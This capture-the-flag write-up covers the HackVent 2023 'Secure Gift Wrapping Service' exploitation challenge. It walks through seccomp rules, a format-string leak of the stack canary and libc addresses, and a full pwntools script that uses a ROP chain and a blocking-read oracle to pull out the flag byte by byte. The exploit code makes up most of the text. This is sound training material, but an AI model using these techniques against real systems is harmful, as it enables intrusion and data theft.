HackVent 2023 - [HV23.22] Secure Gift Wrapping Service
Difficulty: Leet
Category: Exploitation
Author: darkice
This year, a new service has been launched to support the elves in wrapping gifts. Due to a number of stolen gifts in recent days, increased security measures have been introduced and the gifts are being stored in a secret place. As Christmas is getting closer, the elves need to load the gifts onto the sleigh, but they can’t find them. The only hint to this secret place was probably also packed in one of these gifts. Can you take a look at the service and see if you can find the secret?
Checksec shows us the following:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Upon disassembly, we can see there are seccomp rules. We can run seccomp-tools dump ./pwn
to see them:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012
0006: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0012
0007: 0x15 0x04 0x00 0x00000003 if (A == close) goto 0012
0008: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0012
0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012
0010: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0012
0011: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
The most important thing here is that write
isn’t allowed, thus meaning we can’t just output the flag.
There is a format string vulnerability right in the beginning, allowing us to leak some addresses:
%43$p
for the stack canary%47$p
formain
%65$p
for__libc_start_main__impl
+128
The binary reads the flag and then stores it in a “random” mmapped location. That location isn’t truly random though as rand()
hasn’t been seeded in advance. That means the flag is in a static offset, specifically 0x6b8b4567500
.
Now we need to build some kind of ROP chain to exfiltrate the flag. We don’t have much options here without writing to stdout so I decided to use an approach where I’m going through every character individually and I call read
with 0
as fd so that the program execution waits for input. On a wrong character, the fd isn’t zero so the program will continue and segfault immediately.
The chain looks as follows:
- Pop the flag address plus the offset for the current letter into
rax
- Pop the negative numerical representation of the letter we’re looking for into
rsi
- Add
rsi
torax
- Binary
AND
ofrax
with0x0000000000ff
so that only the last byte is used - Call
read
with the value of rax
I couldn’t find perfect gadgets so I had to improvise a bit and e.g. use xchg edi, eax
to put the fd number into rdi
, the first argument for read
.
Also the remote decided to randomly kill my connection from time to time so I implemented a recursive approach that tries the exploit until there was a result:
try:
r.recvuntil(b"...\n")
except EOFError:
return main(char, offset)
The full solve script looks like this:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")
orig_exe_addr = exe.address
orig_libc_addr = libc.address
context.binary = exe
# set log level to warn
log.setLevel(logging.WARN)
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("152.96.15.4", 1337)
return r
def main(char, offset):
r = conn()
# restore base addresses after eacch run
exe.address = orig_exe_addr
libc.address = orig_libc_addr
##### LEAKING FROM STACK
r.sendlineafter(b"for? ",b"%43$p.%47$p.%65$p")
r.recvuntil(b"of ")
leaks = r.recvuntil(b"\n")
stack_cookie, main_addr, libc_addr = [int(x[2:], 16) for x in leaks.split(b".")]
info("stack_cookie: %#x", stack_cookie)
base_addr = main_addr - exe.sym["main"]
exe.address = base_addr
flag_addr_tmp = base_addr + 17728
info("flag_addr: %#x", flag_addr_tmp)
info("base_addr: %#x", base_addr)
libc_base = libc_addr - libc.sym["__libc_start_main_impl"] - 128
libc.address = libc_base
info("libc_base: %#x", libc_base)
##### ROP CHAINS
ropc = ROP(libc)
#### ROP Gadgets
add_rax_rsi = libc_base + 0x00000000000b513c
mov_rax_qwrp_rax = libc_base + 0x0000000000149fdc
and_rax_rcx_or_rax_rdx = libc_base + 0x00000000001252e1
flag_addr = 0x6b8b4567500
xchg_edi_eax = libc_base + 0x0000000000149fc5
pop_rsi = ropc.find_gadget(["pop rsi", "ret"]).address
pop_rdx = ropc.find_gadget(["pop rdx", "ret"]).address
pop_rax = ropc.find_gadget(["pop rax", "ret"]).address
pop_rcx = ropc.find_gadget(["pop rcx", "ret"]).address
rop_chain = [
#mov_rax_rsi,
pop_rax, flag_addr+offset,
# negative character we're looking for
pop_rsi, -ord(char),
# make rax an absolute value
mov_rax_qwrp_rax,
# subtract char from rax
add_rax_rsi,
# workaround to only use 1 byte of rax
pop_rcx,
0x00000000000000ff,
pop_rdx,
0x0000000000000000,
and_rax_rcx_or_rax_rdx,
# clean up rdi for swapping
pop_rsi, flag_addr_tmp,
pop_rdx, 0x100000,
# swap rdi and rax first
xchg_edi_eax,
# if rdi it's zero, we'll get a read on stdin
libc.sym["read"]
]
##### FINAL PAYLOAD
payload = flat(
b'A' * 264,
stack_cookie,
b'B' * 8,
# ropc.chain(),
rop_chain
)
# offset to fill the buffer first
r.sendline((0x600) * b"A")
r.sendline(payload)
try:
r.recvuntil(b"...\n")
except EOFError:
return main(char, offset)
correct = True
# is the connection still open
try:
# dummy recv
r.recvuntil(b"...\n", timeout=2)
except EOFError:
warn("EOF")
correct = False
except:
warn("Timeout")
return correct
alphabet = "abcdefghijklmnopqrstuvwxyz"
alphabet += "Z0123456789_{}-"
alphabet += "ABCDEFGHIJKLMNOPQRTSTUVXYZ"
flag="HV23{"
for i in range(5, 100):
for char in alphabet:
print(f"Trying {char} at {i}")
if main(char, i):
# no clue why the offset is like that
flag += chr(ord(char)+4) if char not in ["_","}"] else char
print(flag)
break
if flag.endswith("}"):
break
For some reason my approach didn’t work with numbers so the output was the following:
HV23{t4m4_4s4e_s4er4t_exf4ltr4t44n}
.
From there I could just guess though, the flag is:
HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}